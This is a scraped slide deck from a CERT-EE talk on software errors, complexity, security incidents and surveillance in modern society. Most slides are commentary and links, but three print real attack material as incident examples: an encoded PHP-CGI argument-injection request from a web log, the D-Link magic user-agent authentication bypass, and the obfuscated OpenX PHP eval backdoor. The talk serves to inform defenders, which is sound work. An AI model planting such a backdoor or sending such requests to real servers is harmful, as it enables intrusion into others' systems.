+ All Categories
Home > Documents > “Software errors as the founding pillar of the modern...

“Software errors as the founding pillar of the modern...

Date post: 13-Apr-2020
Category:
Upload: others
View: 3 times
Download: 0 times
Share this document with a friend
109
2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding pillar of the modern society”
Transcript
Page 1: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

2013-06-06, Tallinn

Anto Veldre, CERT-EE

“Software errors as the founding pillar

of the modern society”

Page 2: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

My daily work:Internet Assenisation

http://www.quickresponseplumbing.org

CERT – Computer Emergency Response Team

Page 3: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

3

NB!

Pictures' © still belong to the respective owners

Disclaimer no 1

Page 4: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

4

Many concurrent truths

http://maddy06.blogspot.com/2012/10/six-blind-men-and-elephant.html

Disclaimer no 2

Page 5: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

- a Finno-Ugric fuzz vs the corporate style- “вокруг да около”- “walk-around-a-topic & never touch the issue”- gangnam NLP style

http://kunstiveeb.blogspot.com

Disclaimer no 3

Page 6: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

6

My talkaround these topics:

1 – Engineering, complexity, Q/A2 - Bugs, incidents, scandals

3 – Modern times, e- / i- / x- society4 – Where is the society moving?

5 – Social responsibility

Page 7: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

7

Estonia

http://upload.wikimedia.org/wikipedia/commons/0/03/Kakerdaja_raba.jpg

Page 8: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Myths: Elbonian Nokia

Page 9: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

9

The ugric mindset

Page 10: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

a) population density b) water

Warning: next 2 slides!

Page 11: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

We really go to sauna naked

http://www.saunapood.ee

Page 12: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

12

Oh those Estonians :)

● 99 Estonian stereotypes– http://rs-df.com/forums/index.php?showtopic=54089

Normaalne!

Page 13: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

13

That mighty IT country Estonia!(2007)

Page 14: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

The pack has been numbered...

1984?not at all.

2014!Hmm, the chip is well hidden

on the back side

Page 15: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Use your ID-card as a loyalty card

Page 16: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

16

Our secret weapon

– http://www.sk.ee

– http://www.id.ee

● State backed PKI● Lack of physical

offices● Full automatization

for some of the State functions

● The lifestyle● [..]

Page 17: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

17

Our secret weapon

– http://www.sk.ee

– http://www.id.ee

● State backed PKI● Lack of physical

offices● Full automatization

for some of the State functions

● The lifestyle● [..]

Page 18: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Our life in Europe- Ca 3% of EU population speak non-indo-european languages. - The language relativism: we think differently.

- We believe in something, which is not necessarily God (Eurobarometer 2011) - not yet fully converted pagans?

Page 19: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

19http://tracemedia.co.uk/portfolio/mapping-wikipedia/

Page 20: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

We stick our noses to what/where we shouldn't

http://visualoop.com/8629/the-world-map-according-to-twitter

Page 21: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

21

Thedeveloper'sphilosophy

Page 22: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

22

Page 23: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

23

A naïve approach – Howard Longstaff

Page 24: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

24

Page 25: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

25

Technology Readiness

Page 26: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

26

System readiness

http://www.sercuarc.org/uploads/files/TR%20027_RT%2027_System%20Maturity%20and%20Architecture%20Assessment%20MPTs.pdf

Page 27: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

27http://en.wikipedia.org/wiki/Complex_systems

Page 28: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

28

Jonathan Swift [email protected] says:http://www.warplife.com/jonathan-swift/books/software-problem/

● Software failure is fundamentally a human problem, not a technical one.

● Purely technical solutions fail to effect truly meaningful and lasting change.

– The Computer Problem,

– The Mental Problem,

– The Social Problem.

@againsthimself once tweeted:

"@sergeybratus: We are in the only technical discipline that is getting laws before textbooks.”

Page 29: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

29

Complexity

Page 30: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

30http://staff.science.uva.nl/~leo/lego/bike.html

Page 31: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

31

Page 32: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

32

Page 33: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

33

Page 34: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

34http://www.galaxiki.org/web/main/_blog/all/build-your-own-nasa-apollo-landing-computer-no-kidding.shtml

Page 35: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

35

● Formally auditable:– 1000 lines of code (1kLoC)?

– 10k lines of code?

– (using some testing suite) 100k?

– Apollo 11: 145kLoC

http://en.wikipedia.org/wiki/List_of_software_bugs

Page 36: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

36http://www.itworld.com/big-datahadoop/288893/lines-code-apollo-curiosity

Page 37: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

37

http://en.wikipedia.org/wiki/Evaluation_Assurance_Level

● EAL1: Functionally Tested

● EAL2: Structurally Tested

● EAL3: Methodically Tested and Checked

● EAL4: Methodically Designed, Tested and Reviewed

● EAL5: Semiformally Designed and Tested

● EAL6: Semiformally Verified Design and Tested

● EAL7: Formally Verified Design and Tested

The pitfall: starting from EAL4, the security must be designed into the system, you cannot add it later

Page 38: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

38

Pitfall no 23 – can you afford this?

Page 39: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Non-mature technologies...The winner takes it all !

http://theresilientearth.com/?q=content/cargo-cult-climate-science

Page 40: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

40

The Nature

Page 41: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

41

OSI 7 layers

+2 extra ;)

Page 42: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

42

Back to basics ;)

Page 43: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

43● http://www.newchrono.ru/prcv/Publ/kes-popul-eng.html

Page 44: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

44

Route 666, Speed 177• Development of technology:

– ever faster

– it is not a fashion

– it won't stop

– next events are depending on previous events

Page 45: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

45

New World Order?

Page 46: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

46

Unknowns and the amplification

These two crucial conditions:

● it is complex● the constituents are

tightly intercoupled

Page 47: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

47

2011-12-1x

– http://en.wikipedia.org/wiki/Positive_feedback

Page 48: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

48

@NicholasTaleb - 4Q, Black Swans

Page 49: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

49

Richards Heuer

● Why all the intel analysts missed the collapse of the Soviet Union?

● How does your mind work?

● Where & when can an analyst get wrong?

● Adjusting your input filter (hmm ...pink glasses)

https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/psychology-of-intelligence-analysis/index.html

Page 50: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

50

Jay Forrester - System Dynamics

Page 51: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

51

Mark Andrejevic- The Digital Enclosure

An interactive realm wherein every action and transaction generates information about itself.

Page 52: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

52

How to ...

Page 53: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

53

Suarez

Page 54: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

54

Elsberg

Page 55: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

e- / i- / x-society

Page 56: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

http://www.imdb.com/title/tt0181689/

2002

Page 57: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

57

Milk'n'fuel paradigm

http://y.delfi.ee/norm/102149/4987007_FZJEkH.jpeg

Page 58: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

58

Who is the adversary?Is he thinking?

Page 59: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

59

Who's the adversary? 2

Page 60: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

60

Is there an adversary at all?

?

Page 61: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

61

Really???

Page 62: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

62

Page 63: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

63

Page 64: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

64

News from Bahrein

Page 65: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

http://www.theregister.co.uk/2013/08/12/spy_bins_scrapped_from_london_streets/

Page 66: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

66http://www.youtube.com/watch?v=SNPJMk2fgJU

Quadrotor with machine gun

Page 67: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

67

bugserrorsfaults

How and why?

Page 68: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

68

EXFAC03-AAS

http://www.uio.no/studier/emner/hf/ikos/EXFAC03-AAS/h05/larestoff/linguistics/

Page 69: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

69

EXFAC03-AAS

http://www.uio.no/studier/emner/hf/ikos/EXFAC03-AAS/h05/larestoff/linguistics/

Page 70: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

70

Optical cheats / illusions

Page 71: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

71

Optical illusions

Page 72: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

72

Optical illusions - bubbling

Page 73: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

73

The reality

Page 74: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

74

Spy phones & spy TV sets● S3 memory dev writable - /dev/exynos-mem

– http://forum.xda-developers.com/showthread.php?p=35469999#post35469999

http://doctorbeet.blogspot.com/2013/11/lg-smart-tvs-logging-usb-filenames-and.html

Page 75: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

75http://obamapacman.com/2013/07/r2b2-android-phone-pin-hacking-robot/

Page 76: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

76

Mifare vs ID brokerage

Page 77: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

77

Toyota

http://www.nhtsa.gov/UA

Page 78: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

78

Independent researchers

● Satan votes at the internet?– Reproducibility?– https://www.ria.ee/e-voting-is-too-secure/

Page 79: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

79

http://www.theregister.co.uk/2007/02/28/f22s_working_again/

http://en.wikipedia.org/wiki/List_of_software_bugs

Page 80: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

80

1989

http://en.wikipedia.org/wiki/Phobos_program

1999

http://en.wikipedia.org/wiki/Mars_Polar_Lander

Page 81: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

81

PHP5 CGI

● 111.111.111.111 - - [11/Nov/2013:11:11:11 +0200] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 226 "-" "-"

● cgin/php?-d aluon -d mod -d suhon=on -d uncts="" -d dne -d auto_pr%t -d cgi.force_redirect=0 -d t_=0 -d ut -n

http://www.string-functions.com/urldecode.aspx

Page 82: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

82

D-Link

{

if(strstr(request->url, "graphic/") ||

strstr(request->url, "public/") ||

strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)

{

return AUTH_OK;

}

}

DIR-100

DI-524

DI-524UP

DI-604S

DI-604UP

DI-604+

TM-G5240

DIR-615

http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/+WPS

Page 83: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

83http://www.infosecurity-magazine.com/view/37266/cymru-discovers-300000-compromised-home-routers/

SoHo: @routerpwn rom-0

http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/

Page 84: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

84

OpenX backdoor

http://blog.sucuri.net/2013/08/openx-org-compromised-and-downloads-injected-with-a-backdoor.html

this.each(function(){l=flashembed(this,k,j)}<?php /*if(e){jQuery.tools=jQuery.tools||{version:{}};jQuery.tools.version.flashembed='1.0.2';*/$j='ex'./**/'plode'; /* if(this.className...

<?php$j='explode';$_=$j(",",'strrev,str_rot13,vastPlayer');eval ( $_[1]($_[0]( $_POST[$_[2]])) );

Page 85: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

85

Apple SSL

http://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/

Page 86: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

86http://xkcd.com/1354/

Page 87: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

87

Page 88: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

88

The systemic risk– the bug market

● Watering Hole attack

● Defacements / pwned sites / malware distros

● Commoditized tools like Meterpreter & Metasploit

Page 89: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

89

NSA & Snowden

Page 90: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

90

Some latest news

Page 91: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

All these thingzare technically possible...

Page 92: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

92

SIGINT

Page 93: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

93

This toilet is being monitored...

Page 94: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

94http://www.tabularasa-euproject.org/project/pdf/Anders%20Sandberg

20500,01% GDP

Page 95: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

95

Who shall win?* Rutkowska's principle:http://theinvisiblethings.blogspot.com/2011/04/why-us-password-revolution-wont-work.html

..the operating system can impersonate the user at will! This is because the operating system fully controls the keyboard, the mouse, and the screen.

* OS (or browser) vendor always is in a preferred position

* BSI: "some critical aspects related to specific scenarios in which Windows 8 is operated in combination with a hardware that has a TPM 2.0"

Page 96: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

96

The Anonymous???

Page 97: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

97http://blog.cognitivedissidents.com/2011/11/01/intro-to-hdmoores-law/

Page 98: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

98

Future of the State

Page 99: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Once ...

Page 100: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Now ...

Page 101: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

About the limits?

Page 102: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

102

Page 103: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

Organs substituted

Page 104: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding
Page 105: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

105

http://www.forbes.com/sites/andygreenberg/2013/11/18/meet-the-assassination-market-creator-whos-crowdfunding-murder-with-bitcoins/

Page 106: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

The Government

IT corporationsPeople, NGO's

Peter Dicken http://www.amazon.com/Global-Shift-Sixth-Edition-Changing/dp/1609180062

Page 107: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

107

GrokLaw● A teen tweet from Viljandi:

– Curtains are being washed. Want to m*. The satellites...

GrokLaw – Canary in the coal mine: When it is no longer possible to tell the truth online sufficiently for it to exist, none of us have the freedom of speech

– http://www.groklaw.net/article.php?story=20130818120421175

● UK porn filter requires the self-incrimination:

– Pr0n?

– Terrorist materials?

Page 108: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

108

The most moderngovernance model

● The Big Data● State Secrets● Killer Drones

Technically already feasible.A right direction?

;-)

Page 109: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding

109

Thnx!

Ask.fm?

Ask me!

Pic: http://www.imdb.com/title/tt0139809/


Recommended